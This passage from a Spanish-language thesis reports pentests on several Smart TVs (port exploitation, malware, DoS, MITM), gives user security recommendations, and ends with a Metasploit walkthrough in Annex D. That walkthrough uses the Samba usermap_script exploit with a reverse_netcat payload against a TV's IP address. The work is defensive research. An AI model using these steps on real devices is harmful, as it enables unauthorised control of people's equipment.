El ataque provocé que el dispositivo no tenga conexion a
DOS la internet durante y después del ataque, este tipo de
Si ataque puede ser muy peligroso y compromete el
funcionamiento normal en el dispositivo.
Se pudo realizar el ataque con éxito. El dispositivo
MITM Si capturo tré&fico de red del dispositivo.

Recomendacioén al usuario

e Asegurase de que el firmware esté actualizado. Los fabricantes suelen lanzar

actualizaciones para abordar problemas de seguridad y mejorar el rendimiento.

e Desactiva cualquier funcion o caracteristica en el Smart TV que no se esté

utilizando.
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e Revisay ajusta las configuraciones de privacidad del dispositivo.

b. Reporte de TV2

Tabla 46. Reporte de dispositivo TV2.

Dispositivo Riviera TPXM43A

Sistema Operativo | Android TV

IP 192.168.100.67

Técnica de | Explotacion | Observacion
Pentesting

El analisis realizado por Nessus no detecto
Explotacion de No vulnerabilidades en el dispositivo, se intent6 ingresar al

puertos mismo explotando puertos con metasploit sin éxito.

El dispositivo Smart TV no dejaba actuar al malware,

No detectandolo como una aplicacién maliciosa, no dejado
Ataque de
que el ataque tenga éxito.
malware
DOS Si Se realizd con éxito lo cual provocé al dispositivo su
mal funcionamiento y desconexion a la red.
MITM Mediante el ataque, se pudo analizar y monitorear el
Si trafico de red y por ende las acciones que realizaba el
dispositivo.

Recomendacioén al usuario

e Desactiva las funciones que no uses, como el micréfono o la camara, para reducir

el riesgo de ataques.

e Solo instala aplicaciones de fuentes confiables.

e Antes de instalar una aplicacion, lee las resefias y permisos que solicita.
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C.

Reporte de TV3

Tabla 47. Reporte de dispositivo TV3.

Dispositivo

Sony X900H

Sistema Operativo

Android TV

IP

192.168.100.16

Técnica de Pentesting

Explotacion

Observacion

Explotacién

puertos

de

Si

Gracias a que el dispositivo tenia el puerto 5555
abierto por un servicio de un juego de ajedrez
llamado Freeciv, se pudo aprovechar y tomar
control del dispositivo ya que el puerto
generalmente es unas para depuracion en los Smart

tv.

Ataque de malware

Si

El malware ayudo a crear una conexion con el
dispositivo exitosamente, la conexion se mantuvo

estable durante el ataque.

DOS

Si

Se realiz6 con éxito lo cual provocé al dispositivo
su mal funcionamiento y desconexién a la red. El
dispositivo tuvo que ser reiniciado a la
configuracion de fabrica para su correcto

funcionamiento luego del ataque.

MITM

No

El ataque se realiz6 con éxito, pero no pudo

capturar informacion.

Recomendacidn al usuario

Cambiar el modo de sistema del televisor de juegos a hogar.

Asegurase de instalar la dltima version del firmware disponible para tu Smart

TV.

Antes de instalar una aplicacion, lee las resefias y permisos que solicita.

114




d. Reporte de TV4

Tabla 48. Reporte dispositivo TV4

Dispositivo LG OLED55C9PUA
Sistema Operativo webOS
IP 192.168.0.100
Técnica de Pentesting | Explotacién Observacion
Durante el analisis realizado por nessus no se
Explotacién de No encontraron vulnerabilidades, por lo cual el ataque
puertos no aplica en este dispositivo.
El dispositivo detectd el malware, por lo que no se
Ataque de malware No logré descargar el malware de la red ni compartir
mediante conexion de dispositivos.
Se realizo el ataque, pero no tuvo éxito en el
DOS No dispositivo. Esto se debid a que el televisor cuente
con firewall actualizados y parches que regulen el
paso de trafico de red.
El ataque se realizd con éxito, con este ataque se
MITM Si pudo analizar las peticiones que salian del

dispositivo y poder comprometer la informacion

del usuario.

Recomendacidn al usuario

No visites sitios web sospechosos ni

desconocidas.

Es importante tener en cuenta que el tipo de ataque MITM es dificil de prevenir.

Sin embargo, se puede tomar algunas medidas para reducir el riesgo, como usar

una VPN.
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e. Reporte de TV5

Tabla 49. Reporte dispositivo TV5.

Dispositivo

Riviera RLED-AD50TPXM

Sistema Operativo

Android TV

IP

192.168.100.14

Técnica de Pentesting

Explotacion | Observacion

Explotacién

puertos

de

Se explotar el puerto 8008 correspondiente al
No servicio http, mediante metasploit, sin tener éxito en

establecer una conexién remota.

Ataque de malware

Se realizé el ataque con éxito, la conexién remota
Si duro un promedio de 2 a 3 minutos. Luego de 3
intentos de conexion remora el dispositivo bloqueo

la instalacién del malware.

DOS Si Se logré crear interferencia en el dispositivo,
causando perdida de conexién en el mismo.
MITM Si El ataque se realizado, logro interceptar trafico de

red de dispositivo Smart TV hacia el router.

Recomendacioén al usuario

e Cambia las contrasefias de todas las cuentas que se haya usado en el

dispositivo, incluyendo las de tu correo electronico y redes sociales.

e Si el dispositivo experimenta un ataque DoS, reiniciarlo puede solucionar el

problema.

e Habilitar la opcién de actualizacion automatica, esto ayudara a proteger el

dispositivo con nuevos parches que el dispositivo requiera.
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f. Reporte de TV6
Tabla 50. Reporte dispositivo TV6.

Dispositivo TCLQLED

Sistema Operativo Google TV

IP 192.168.100.15

Técnica de | Explotacion | Observacion
Pentesting

Se realizo un ataque al servicio webSoket con la

Explotacién de No herramienta metasploit, el ataque se realizo

puertos correctamente sin tener éxito.

Ataque de malware No El dispositivo identifico el malware y bloqued su
instalacion.

DOS Si El ataque se realiz6 exitosamente, provocado fallos en

el funcionamiento del dispositivo.

MITM El ataque realizado no tuvo éxito, esto debe a que

No Google TV valida los certificados SSL para verificar la

identidad del servidor al que se conecta.

Recomendacion al usuario

e Mantener actualizado el firmware de su Smart TV. Google lanza actualizaciones

de seguridad regularmente para corregir vulnerabilidades.

e Asegurate de que tu red Wi-Fi esté protegida con una contrasefia segura.

e Desactivar las funciones que no se usas.
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3.4 Guia de recomendaciones y medidas de seguridad en dispositivos Smart TV

Introduccion

Los Smart TV se han convertido en una parte fundamental de nuestro
entretenimiento en el hogar. Ofrecen una amplia gama de funciones. Sin embargo, al
igual que cualquier dispositivo conectado a internet pueden ser vulnerables a ataques
cibernéticos. Durante el proceso de evaluacion de seguridad en televisores
inteligentes, se identificaron varias areas de riesgo y vulnerabilidades. A
continuacién, se presentan medidas de seguridad para poder proteger a los
dispositivos.

Objetivo

proporcionar recomendaciones y medidas de seguridad para proteger tu Smart TV de

posibles amenazas.
1. Actualizacion de firmware
Causas

Si bien la falta de conocimiento es una barrera para la actualizacion de dispositivos,
el desinterés también juega un papel importante. Algunos usuarios simplemente no
consideran que las actualizaciones sean importantes, 0 no quieren tomarse el tiempo

para instalarlas.
Solucion

Se recomienda actualizar el firmware del dispositivo trimestralmente. Si el

dispositivo cuenta con la opcion de actualizacion automaética, se debe activar.

2. Contrasefa insegura
Causas

los usuarios a menudo eligen contrasefias débiles que son faciles de adivinar en sus
aplicaciones, estas contrasefias pueden incluir palabras comunes, nombres, fechas de

nacimiento o numeros de teléfono, que para un atacante es facil de deducir.
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Solucion

En lugar de usar contrasefias con palabras que puedan ser adivinadas facilmente, opta
por contrasefias robustas que contenga nameros, letras mayusculas y minusculas y
simbolos. En caso de PIN de 4 digitos procurar ser nimeros no consecutivos,
tampoco fechas de nacimiento.

Tabla 51. Ejemplo de contrasefias Seguras.

Ejemplo

Causa Sugerencia de Solucion
Password: juan123 Password: #M213aC32&
PIN: 4444 PIN: 1538

3. Funciones vulnerables del Smart TV
Causas

Algunas de la funciones o aplicaciones pueden hacer que el dispositivo sea

vulnerable a ataques.
Solucion

Revisa la configuracion del dispositivo y desactivar las funciones que no se estén

utilizando o no sean necesarias para el entretenimiento del usuario.

4. Certificados SSL firmados con cifrados medios y débiles
Causas

Muchos de los dispositivos Smart TV cuentan con SSL con cifrados de nivel medio o
debil (por ejemplo, MD2, MD4, MD5 o SHAL), que son vulnerables a ataques de
colision.
Solucion
solicitar asistencia al fabricante para obtener instrucciones especificas para el modelo

del Smart TV. Ademas, no instalar aplicaciones de fuentes no confiables ya que estos

podrian aprovecharse de la vulnerabilidad.
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5. Utilizar VPN
Causas

Los smart TV no protegen adecuadamente los datos de los usuarios. La informacion
personal, como las contrasefias, los habitos de visualizacion e incluso la ubicacion,
pueden ser recopiladas y transmitidas a terceros sin el conocimiento o

consentimiento del usuario.
Solucién

Utilizar una VPN para encriptar su trafico de internet y ocultar su direccion IP, esto
puede proteger su privacidad y seguridad en linea, ademas de acceder a contenido

gue no esta disponible en su region.
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4.1

CAPITULO IV. CONCLUSIONES Y RECOMENDACIONES

Conclusiones

Mediante las herramientas de recoleccién de la informacion, se logré
identificar vulnerabilidades y riesgos, que puedan comprometer la integridad
y seguridad de estos dispositivos, brindando un panorama detallado de las
amenazas existentes, este enfoque no solo proporciond conocimientos sobre
las vulnerabilidades, ademas sirvid para evaluar el nivel de conocimiento que
tienen los usuarios del barrio Pucaré acerca de los peligros que pueden tener

el no mantener seguro sus dispositivos inteligentes.

La implementacion de técnicas de Pentesting, como el escaneo de puertos,
ataques de malware, ataques de DoS y MITM, permitio la evaluacion de los
Smart TV ante escenarios de amenazas especificos. La utilizacion de
herramientas especializadas, como Nessus, Nmap, ADB, Metasploit y
Wireshark, contribuyé a una aplicacion de las técnicas. Esto incluyo la
evaluacion de puertos abiertos, servicios expuestos y posibles puntos de

vulnerabilidad.

La aplicacion de la metodologia OWASP permitid realizar una evaluacion de
la seguridad de los Smart TV. Siguiendo un proceso estructurado que abarcé
desde la identificacion y reconocimiento de los dispositivos hasta la
implementacién de ataques y reportes de estos, lo que ayuddé a una
identificacion de las vulnerabilidades, riesgos y amenazas asociadas a los
dispositivos.

Como resultado del andlisis de vulnerabilidades, se derivaron
recomendaciones y medidas de seguridad puntuales. Dichas recomendaciones
se centran en aspectos que ayudaran al buen funcionamiento y cuidado de los
Smart TV.
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e La proteccién de un Smart TV esta ligada a una red local segura por ende
establecer configuraciones preventivas aporta beneficios considerables para la

seguridad y confiabilidad de la informacion, permitiendo a su vez mitigar

posibles amenazas en los dispositivos.
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4.2 Recomendaciones

Realizar charlas informativas a los usuarios del Barrio Pucara sobre los
riesgos que se han encontrado, estas charlas no solo deben abordar los riesgos
identificados durante la evaluacion de seguridad de los Smart TV, sino
también proporcionar informacion sobre las mejores précticas de seguridad

en la red de sus hogares.

Implementar un programa de evaluaciones regulares de vulnerabilidades en
los televisores inteligentes. Esto implica realizar andlisis utilizando
herramientas de monitoreo, como Nessus y Nmap, para identificar nuevas
vulnerabilidades y posibles amenazas. Para lo cual se debe establecer un
calendario sistematico para estas evaluaciones, asegurando cobertura

constante y actualizada.

Se recomienda usar la metodologia OWASP en futuras evaluaciones de
seguridad de Smart TV, proyectos similares y estrategias de ciberseguridad
para dispositivos 10T. Ya que esta ofrece un marco de trabajo completo para
la identificacion de vulnerabilidades en aplicaciones web y dispositivos
conectados.

Realizar investigaciones que se centren en la seguridad de los dispositivos
IoT, considerando la creciente diversidad de estos dispositivos en el mercado.
La variedad de funciones y capacidades de estos dispositivos puede introducir
nuevas vulnerabilidades y desafios de seguridad en entornos domésticos y

empresariales, lo que se requiere un analisis detallado de estos dispositivos.

Realizar configuraciones preventivas en la red local, establece una contrasefia
robusta para el Wi-Fi, cambia la contrasefia del router, activa el cifrado
WPAZ2, usa una red separada para invitados, actualiza el firmware del router y
desactiva el WPS si no se usa, esto ayudara a no solo proteger la informacion

de un Smart TV, también todos los dispositivos que estén conectados a la red.

123



[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

REFERENCIAS BIBLIOGRAFICAS

T. Alladi, V. Chamola, B. Sikdar y K.-K. R. Choo, «Consumer l0T: Security
vulnerability case studies and solutions,» IEEE Consumer Electronics
Magazine, vol. 9, p. 17-25, 2020.

M. A. Alvarez Roldan y H. F. Montoya Vargas, «Ciberseguridad en las redes
moviles de telecomunicaciones y su gestion de riesgos,» Ingenieriay
Desarrollo, vol. 38, p. 279-297, 2020.

C. Lee, L. Zappaterra, K. Choi y H.-A. Choi, «Securing smart home:
Technologies, security challenges, and security requirements,» de 2019 IEEE

Conference on Communications and Network Security, 2019.

A. E. R. Llerena, «Herramientas fundamentales para el hacking ético,» Revista
Cubana de Informética Médica, vol. 12, p. 116-131, 2020.

J. R. R. Camacho y others, «Caracteristicas y pardmetros de la seguridad en la
transmision de datos para los dispositivos SMART TV.,» Ingenieriay
Desarrollo, 2020.

V. H. Rico Macias y others, «Modelo de defensa ante ataques a equipos lot
aplicado a Smart tv basado en vulnerabilidades identificadas con OSSTMM.,»

IEEE Consumer Electronics Magazine, 2020.

Y. H. Reddy, A. Ali, P. V. Kumar, M. H. Srinivas, K. Netra, V. J. Achari y R.
Varaprasad, «<A Comprehensive Survey of Internet of Things Applications,
Threats, and Security Issues,» South Asian Res J Eng Tech, vol. 4, p. 63-77,
2022.

B. Michéle y A. Karpow, «Watch and be watched: Compromising all smart tv
generations,» de 2017 IEEE 11th consumer communications and networking
conference (CCNC), 2017.

M. R. L. Vallejo, «Hacking ético. Vulnerabilidad de Sistemas Operativos en el

124



acceso por contrasefias,» Revista Publicando, vol. 4, p. 31-51, 2017.

[10] M. E. Hurtado Sandoval y L. A. Mendafio Mendafio, «Implementacion de
técnicas de hacking ético para el descubrimiento y evaluacion de

vulnerabilidades de la red de una cartera de Estado,» 2016.

[11] P. O. Beltran Canessa, «Aplicacion de Hacking ético para gestionar la
prevencion de ataques a la red de comunicacion de Inversiones Mayito—Agente
BCP,» Revista Publicando, 2021.

[12] M. d. C. G. Pic9, «El impacto de Internet en el derecho fundamental a la

proteccion de datos de caracter personal,» 2022.

[13] R. J. Pifiashca Huerta, «Evaluacion de técnicas de hacking ético para analizar la
seguridad informética de la municipalidad distrital de los Olivos, Lima,» Revista
Publicando, 2022.

[14] M. Shokry, A. I. Awad, M. K. Abd-Ellahy A. A. M. Khalaf, «Systematic
survey of advanced metering infrastructure security: Vulnerabilities, attacks,
countermeasures, and future vision,» Future Generation Computer Systems, vol.
136, p. 358-377, 2022.

[15] L. C. Suarez Panchana, «Analisis de vulnerabilidad en la red Lan usando
herramientas de hacking ético para una empresa de la provincia de Santa
Elena,» 2022.

[16] J. C. Claramunt, «La gestion de la informacion en el paradigma algoritmico:
inteligencia artificial y proteccion de datos,» MEI: Métodos de Informacion, vol.
11, p. 42-58, 2020.

[17] Ley, R. Oficial, Suplemento, de 26-may.-2021 y E. Vigente, «<LEY
ORGANICA DE PROTECCION DE DATOS PERSONALES,» 2021.

[18] W. L. S. Alava, A. R. Rodriguez, X. L. A. Avila, O. M. Cornelio y others,
«Redes inalambricas, su incidencia en la privacidad de la informacién,» Journal
Techlnnovation, vol. 1, p. 104-109, 2022.

125



[19] D. Quarta, M. Pogliani, M. Polino, F. Maggi, A. M. Zanchettin y S. Zanero, «An
experimental security analysis of an industrial robot controller,» de 2017 IEEE

Symposium on Security and Privacy (SP), 2017.

[20] J. C. Rend6n Tacle y J. S. Raza Rivas, «Analisis de vulnerabilidades en sistemas
informaticos web desde la red de internet utilizando herramientas de hacking
etico y la metodologia OWASP.,» 2019.

[21] R. C. Zeas Martinez, «Anélisis y captura de paquetes de datos en una red

mediante la herramienta Wireshark,» 2021.

[22] D. A. Franco y J. y. T. Perea, «Herramienta para la Deteccién de
Vulnerabilidades basada en la Identificacion de Servicios.,» Informacion
tecnoldgica, 2020.

[23] A. B. Lopez, A. C. A. Aldana 'y M. C. Cuervo, «Vulnerabilidad de Ambientes
Virtuales de Aprendizaje utilizando SQLMap, RIPS, W3AF y Nessus
[Vulnerability in Virtual Learning Environments using SQLMap, RIPS, W3AF
and Nessus],» Ventana Informatica, 2019.

[24] A. Tinoco Linares y others, «Andlisis y clasificacion de los ataques y sus
exploits: Framework Metasploit como caso de estudio,» NEXOS
CIENTIFICOS-ISSN 2773-7489, 2020.

[25] J. R. Saura, D. Palacios-Marqués y D. Ribeiro-Soriano, «Using data mining
techniques to explore security issues in smart living environments in Twitter,»
Computer Communications, vol. 179, p. 285-295, 2021.

[26] B. Pingle, A. Mairaj y A. Y. Javaid, «Real-world man-in-the-middle (MITM)
attack implementation using open source tools for instructional use,» de 2018

IEEE international conference on electro/information technology (EIT), 2018.

[27] E. R. Diaz Barrera y others, «Analisis de metodologias para pruebas de

penetracion mediante Ethical Hacking,» Ingenieria y Desarrollo, 2020.

[28] A. M. Mayorga, S. P. Solarte y S. A. Donado, «Pentesting sobre aplicaciones
web basado en la metodologia OWASP utilizando un cluster conformado por

126



dispositivos SBC de bajo costo,» Revista Ibérica de Sistemas e Tecnologias de
Informacdo, p. 1-14, 2018.

[29] Y. Yuliadi, F. Hamdani, Y. B. Fitriana, N. Oper y others, «Analisis Keamanan
Website Terhadap Serangan DDOS Menggunakan Metode National Institute of
Standards and Technology (NIST),» KLIK: Kajian lImiah Informatika dan
Komputer, vol. 3, p. 1296-1302, 2023.

[30] I. Alam, S. Khusro y M. Naeem, «A review of smart TV: Past, present, and
future,» de 2017 International Conference on Open Source Systems &
Technologies (ICOSST), 2017.

[31] C. Johnson, «The appisation of television: TV apps, discoverability and the
software, device and platform ecologies of the internet era,» Critical Studies in
Television, vol. 15, p. 165-182, 2020.

[32] SONAR, SAST testing, code Security & Analysis tools.

[33] V. Chicaiza, «Metodologia abierta de testeo en Seguridad NESSUS,» NEXOS
CIENTIFICOS-ISSN 2773-7489, vol. 3, p. 35-41, 2019.

127



ANEXOS

Anexo A. Alfa de Cronbach.

La tabla de datos para los calculos de Alfa de Cronbach.

Figura Al. Datos de la muestra.

p=probabilidad de ocurrencia o éxito.
k= cantidad de items o preguntas
890 0= pobabilidad de no ocureca
9

=) 1125
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Figura A2. Fromula de Alfa de Cronbach.
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Anexo B. Reporte de escaneo en Nessus.

Otenable Nessus

Escane_SmartTV1
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@tﬁﬂﬁbh Nessus
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Otenable Nessus
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Otenable Nessus

Escaneo SMART TV LG
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Anexo C. Monitoreo del Smart tv.

Monitoreo del dispositivo con la vulnerabilidad de SSL de cifrado medio.

ADA® aBE@ a ¢ >0 -«>H

A [ip.addr == 192.168.100.18

Destination

1791 192. s a .699793159 .B.8. 399 Standard query response 6xP00@ UnionTv-9
1786 192.168.166.18 T22.6912726780 224.8.08.251 MDNS 399 Standard query response 0x8008 PTR UnionTV-9
1772 192.168.100.18 T22.346410797 224.0.0.251 MDNS 399 Standard query response @x8000 PTR UnionTV-9
1757 192.168.1688.18 720.813759637 224.08.8.251 MDNS 399 Standard query response x@008 PTR UnionTv-9
1704 192.168.1068.18 702.446086909 224.0.8.251 MDNS 399 Standard query response @x0808 PTR UnionTV-9
1671 192.168.1608.18 682.287616689 224.9.0.251 MDNS 399 standard query response @x@eee PTR UnionTV-9
1630 192.168.1608.18 662.289067333 224.0.0.251 MDNS 399 Standard query response @x@808 PTR UnionTV-9
1604 192.168.100.18 642,.305393366 224.0.0.251 MDNS 399 Standard query response @x8000 PTR UnionTV-9
1561 192.168.1688.18 622.228925957 224.08.8.251 MDNS 399 Standard query response x@008 PTR UnionTv-9
1513 192.168.160.18 602.205003783 224.0.8.251 MDNS 399 Standard query response @x8000 PTR UnionTV-9
1493 192.168.1668.18 588.939363749 224.09.0.251 MDNS 399 Standard query response @x0ee0 PTR UnionTV-9
1489 192.168.1668.18 588.226795243 224.0.0.251 MDNS 399 Standard query response @x8808 PTR UnionTV-9
1458 192.168.100.18 582.204938146 224.0.0.251 MDNS 399 Standard query response ©x0000 PTR UnionTV-9

Figura C1. Peticiones del dispositivo.

response 0x0000

ard query response 0x0000 ; Mark/Unmark Packet Ctrl+M
ard query response 0x0088 PTR i
ard query response 9xB080 PTR
ard query response 0x0000 PTR i Set/Unset Time Reference Ctrl+T

ard query response 9x0000 PTR i . .
ard guerz resgnnse Oxeeee PTR iz ST
ard query response 0x@088 PTR i Packet Comments

query response 0x@EEE PTR .
response ©x0000 : Edit Resolved Name

IgnorefUnignore Packet Ctrl+D

Apply as Filter
Prepare as Filter
Conversation Filter
Colorize Conversation
SCTP

UDP Stream Ctri+Alt+Shift+U

Follow

Figura C2. Trasmision de paquetes UDP.

Se puede observar que el nombre del dispositivo es UnionTV, tiene un sistema

operativo Android TV y en esos momentos esta utilizado la aplicacion Pluto TV.

Wireshark - Follow UDP Stream (udp.stream eq 2) - DATOS.pcapng

|9BCD95D24084F6FBB27CSED. _sub._googlecast._tcp.local........ . +(uﬂ1nnTV 9bgm6T490T757d926bc2986bb1lefa®89.<. /.. ...

bblefa@89#cd=69F93EFFI51D38B2750198BB25EBO54A . rm=6D4C39533B9Dre
=Android. .TV ca=264709.st=1.bs=FA8FD97A7642.nf=1.rs=Pluto TV.A.!..... Xe=sanas I1%$9b2a6f49-0f75- ?d92 6bc2- QB@hblefaG
sub._googlecast._tcp. lucal ........ X. +(Un10nTV 9b2a6f490f757d926bc2980bb1lefad89. ..=..........

=Android..TV ca=26409.st=1.bs= FASFDQ?A?edZ nf=1.rs=| Pluto TV. S liaaeXe=0auas 1$9b2a6f49-0f75-7d92-6bc2-988bblefad)

¥local........x.+(UnionTV-9b2a6f490f757d926bc2986bblefa®B89.............. #1d=9b2a6f490f757d926bc
27561 54A. rn=6D4C39533B9D9ATY . ve= 05
=Android. .TV ca=264709.st=1.bs=FASFD97AT642.nT=1.r§=Pluto TV. J.!'..... D= uases I159b2a67T49-0775-7d92-6bc2-980bblefad)
*_%9ESE7CBF47989526C9BCD95D24084F6FOB27C5ED. _sub. (Peglacest”. tcp.local........ %.+(UnionTV-9b2a6f490f757d926bc29)|
la6f498f757d926bc2980bblefad89s#cd= 69F93EFF95103BBZ?SGIQBBBZSEBGSMK rm=6D04C39533B309479 . ve=05|
=Android..TV ca=264709.st=1.bs=FABFD97A7642.nf=1.rs=Pluto TV.A.!..... Xe=eonas I$9b2a6T49-0f75- 7(!92 Gbc2- QB@bblefaB

_233637DE._sub._googlecast._tcp.local........ X. +(Un10nTV 9b2a67490f757d926bc2986bb1efaf89...=..........

Figura C3. Anélisis del Dispositivo.
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Anexo D. Explotacion de vulnerabilidad Samba Badlock Vulnerability.

e Se procedid a explotar la vulnerabilidad “Samba Badlock Vulnerability”, que
puede permitir a un atacante no autentificado obtener privilegios, Para eso se

ejecutd metasploit con el comando “msfconsole”.

METASPLOIT by Rapid7

EXPLOIT
msf >

RECON

PAYLOAD

2346 exploits - 1220 auxiliary - 413 post
1390 payloads - 46 encoders - 11 nops
-— —=[ 9 evasion

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with t HOST LXK
Metasploit Documentation: https://docs.metasploit.com/

msfe > i

Figura D1. Inicio de Metasploit.

e Luego de haber iniciado metasploit, se ejecutd el comando “search samba”, este

comando busca exploits dentro de su base de datos que tengan relacion a samba.

Disclosure Date Rank Check Description

0  exploit/unix/webapp/citrix_ac y_ex 2010-12-21 11 Yes Citrix Access Gatewa
y Command Execution
exploit/windows/license/caliccln g 2005-03-02 average No Computer Associates
Client GETCONFIG Overflow
xploit/unix/misc/dis _exe 2002-02-01 11 Yes DistCC Daemon Comman
ion
2015-01-26 manual No Group Policy Script

normal No Linux Gather Configu

es_list normal No List Rsync Modules
1

14_060_sandworm 2014-10-14
ution
tems_management_rce 2018-05-3 11 Yes  Quest KACE Systems M

No MS14-060 Microsoft W

Injection
exploit/multi/Samba/usermap_script 2007-05-14 11 No Samba "username map
script” Command Execution

Figura D2. Busqueda de exploit para samba.

El exploit que se escogid ayudo a tener una conexién no autorizada entre el atacante

y la victima, asi tomar el control del dispositivo.
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e Con el comando “use 8” se escogid el exploit que ayudaria a explotar la

vulnerabilidad de samba.

ad configured, defaulting to cmd/unix/reverse_netcat

msf6 exploit( ) > show options

Figura D3. Vista de aplicacion instalada por la conexion.

El exploit esta relacionado con Samba, que es una implementacién de protocolos de
red. Samba se utiliza comdnmente para permitir compartir archivos, en caso de un

Smart TV para compartir fotos, videos, musica.

e Se visualizd las opciones de configuracion que tiene el exploit con el comando

“show options”

msf6 exploit( ) > show options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description

CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS s The target host(s), see https://docs.metasploit.com/docs/using|
basics/using-metasploit.html

RPORT 139 The target port (TCP)

Figura D4. Opciones del exploit.

En la figura D5, se muestran las opciones de configuracion del exploit. Ademas, se
indica si es necesario 0 no configurar cada campo para que el exploit funcione

correctamente. También se proporciona una breve descripcion de cada campo.

e Para completar el exploit se busc6 un payload que ayude a mantener la conexién
del atacante con la victima, para busqueda se utilizd6 el comando “show

payloads”.

msf6 exploit( ) > show payloads

Compatible Payloads

# Name Disclosure Date Rank Check Description

payload/cmd/unix/adduser normal No Add user with useradd
/emd/unix/bind_awk normal No Unix Command Shell, Bind TCP (vi

/cmd/unix/bind_busybox_telnetd normal Unix Command Shell, Bind TCP (vi
td)

/cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (in

bind_jjs normal Unix Command Shell, Bind TCP (vi
ix/bind_lua normal Unix Command Shell, Bind TCP (vi

bind_netcat normal Unix Command Shell, Bind TCP (vi

bind_netcat_gaping normal Unix Command Shell, B

bind_netcat_gaping_ipv6 normal Unix Command Shell, Bind TCP (vi

Figura D5. Basqueda de payloads.
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e Luego de encontrar el payload que ayuda a mantener la conexion, se utilizé el

comando “‘set payload 6” para escogerlo.

msf6 exploit( ) > show options
Module options (exploit/multi/samba/usermap_script):

Current Setting Required De

1 client address
1

ient port
A proxy chain of format type:host:port[,type:host:port][ ... ]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
basics/using-metasploit.html
The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Sett
LHOST 192 3.100. e address (an interface may be specified)
LPORT 4444 ye: The listen port
Exploit target:
Id Name

0  Automatic

Figura D6. Verificacion del payload.

e Con el comando “set” se configur6 el campo requerido RHOST el cual es la IP

de la victima, en este caso el dispositivo Smart TV.

msf6 exploit( ) > set rhost 192.168.100.18

rhost = 192.168.100.18

Figura D7. Configuracion de host de la victima.

e Con el comando “run” o “exploit” se ejecutd el exploit exitosamente pero no se

pudo obtener la conexion hacia la victima.

Started reverse TCP handler on 192.168.100.87:4444

Exploit completed, but no session was created.
msf6 exploit( ) > exit

Figura D8. Configuracion de host de la victima.

Como se muestra en la figura D8 el exploit tuvo éxito en establecer la conexion mas
no el payload ya que no se mantuvo la conexion, esto puede deberse a que el Smart

TV 1 con la IP: 192.168.100.18 detecto la conexidn y lo cerro inmediatamente.
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